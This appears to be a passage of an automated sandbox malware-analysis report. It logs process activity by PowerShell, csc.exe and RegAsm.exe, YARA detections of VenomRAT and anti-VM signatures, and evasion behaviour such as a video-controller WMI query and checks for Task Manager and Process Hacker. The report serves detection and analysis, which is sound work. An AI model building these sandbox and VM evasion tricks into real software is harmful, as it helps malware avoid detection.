Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 15C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: F00000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2C30000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2920000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2860000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2890000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4890000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 29B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2C60000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 29B0000 memory reserve \| memory write watch

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
